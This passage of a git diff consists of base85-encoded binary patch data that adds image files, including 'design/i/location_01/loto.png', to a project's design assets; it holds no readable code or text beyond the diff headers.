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 R|NMynDRFtR8WF>w{{hF@0-OK< literal 0 HcmV?d00001 diff --git a/design/i/location_01/loto.png b/design/i/location_01/loto.png new file mode 100644 index 0000000000000000000000000000000000000000..5cc0be5f3d75874eb325c3d4363c2c98edc7da39 GIT binary patch literal 27111 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 